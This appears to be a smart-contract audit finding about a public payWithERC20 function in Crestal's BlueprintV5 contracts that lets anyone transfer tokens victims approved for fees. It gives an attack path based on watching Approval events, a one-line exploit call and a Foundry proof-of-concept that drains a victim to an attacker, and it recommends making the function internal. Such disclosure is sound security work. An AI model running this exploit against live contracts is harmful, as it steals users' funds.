Mythical Ivory Haddock

High

# Funds may be lost when creating/updating an agent.

### Summary

When creating an agent, the caller pays a set fee(cost). Create/update agent functions using the [payWithERC20](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/Payment.sol#L25) function.
```solidity
function createAgent(
        address userAddress,
        bytes32 projectId,
        string memory base64Proposal,
        address privateWorkerAddress,
        string memory serverURL,
        uint256 tokenId,
        address tokenAddress
    ) internal returns (bytes32 requestID) {
    ...
	// payment to crestal wallet address with token
@>	payWithERC20(tokenAddress, cost, userAddress, feeCollectionWalletAddress);
	...
}
```
Payment tokens can be found in the [paymentAddressEnableMp](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L95)
The fee(cost) can be found in the [paymentOpCostMp](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L97)

Caller steps:
1. Find out the token and fee(cost);
2. Call `token.approve(BlueprintV5, cost)`;
3. Call create agent function. For example:
	[createAgentWithToken](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L479)
	[updateWorkerDeploymentConfig](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L663)
	[userTopUp](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L751)

The issue is that the [payWithERC20](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/Payment.sol#L25) function is public and it allows an attacker to steal funds.

### Root Cause

In `Payment.sol:25`, `payWithERC20` function is public.

### Internal Pre-conditions

None

### External Pre-conditions

None

### Attack Path

Payment tokens can be found in the [paymentAddressEnableMp](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L95).
An attacker can track token events: "Approval"(address spender = BlueprintV5). 
He finds out from the event: address owner, address spender, uint256 value. 
Then call the [payWithERC20](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/Payment.sol#L25) function and transfer the tokens to your address.

`payWithERC20(tokenAddress, value, victimAddress, attackerAddress);`

### Impact

Anyone who creates/updates an agent can lose funds.

### PoC

```solidity
pragma solidity ^0.8.26;

import {Test, console} from "forge-std/Test.sol";
import {BlueprintV5} from "../src/BlueprintV5.sol";
import {MockERC20} from "./MockERC20.sol";

contract BlueprintTest is Test {

    BlueprintV5 public blueprint;
    MockERC20 public mockToken;

    function setUp() public {
        blueprint = new BlueprintV5();
        blueprint.initialize();
        mockToken = new MockERC20();
    }

    function test_PoC() public {
        address attacker = makeAddr("attacker");
        address victim = makeAddr("victim");

        // Mint tokens to the test account
        uint256 validTokenAmount = 100 * 10 ** 18;
        deal(address(mockToken), victim, validTokenAmount);

        // Add the payment address
        blueprint.addPaymentAddress(address(mockToken));

        // set none zero cost for create agents, use any number greater than 0
        blueprint.setCreateAgentTokenCost(address(mockToken), validTokenAmount);
        
        uint256 victimBalance = mockToken.balanceOf(victim);
        assertEq(victimBalance, validTokenAmount);

        vm.prank(victim);
        // Approve the blueprint contract to spend tokens directly from the test contract
        mockToken.approve(address(blueprint), validTokenAmount);

        vm.prank(attacker);
        blueprint.payWithERC20(address(mockToken), validTokenAmount, victim, attacker);
        
        uint256 attackerBalance = mockToken.balanceOf(attacker);
        assertEq(attackerBalance, validTokenAmount);
        victimBalance = mockToken.balanceOf(victim);
        assertEq(victimBalance, 0);
    }
}
```

### Mitigation

Consider making the `payWithERC20` function internal or restricting it with an access modifier